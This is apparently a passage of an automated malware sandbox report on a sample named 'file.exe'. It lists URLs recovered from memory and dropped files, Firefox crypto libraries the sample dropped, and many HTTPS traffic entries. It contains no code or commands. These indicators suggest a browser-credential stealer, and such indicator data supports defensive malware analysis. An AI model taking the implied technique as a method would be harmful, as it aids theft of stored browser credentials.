Source: Session_13377029307817533.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_464.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://web.telegram.org/
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://web.whatsapp.com
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2620944238.00000000236C1000.00000004.00000020.00020000.00000000.sdmp, AFHJJEHIEBKKFIDHDGHJ.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2620944238.00000000236C1000.00000004.00000020.00020000.00000000.sdmp, AFHJJEHIEBKKFIDHDGHJ.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp, FCAAAAFB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.8.dr, content.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: FCAAAAFB.0.dr, BKFIJJEG.0.dr, Web Data.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ed7c3956-ab80-4f92-a888-e70735984623.tmp.9.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_464.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_464.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_464.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.instagram.com
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.last.fm/
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.messenger.com
Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2592090534.0000000000394000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2592090534.0000000000394000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2592090534.0000000000394000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2592090534.0000000000477000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2592090534.0000000000394000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2492633081.000000002393E000.00000004.00000020.00020000.00000000.sdmp, IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2492633081.000000002393E000.00000004.00000020.00020000.00000000.sdmp, IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2592090534.0000000000394000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2492633081.000000002393E000.00000004.00000020.00020000.00000000.sdmp, IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2592090534.0000000000394000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.office.com
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.tiktok.com/
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://www.youtube.com
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
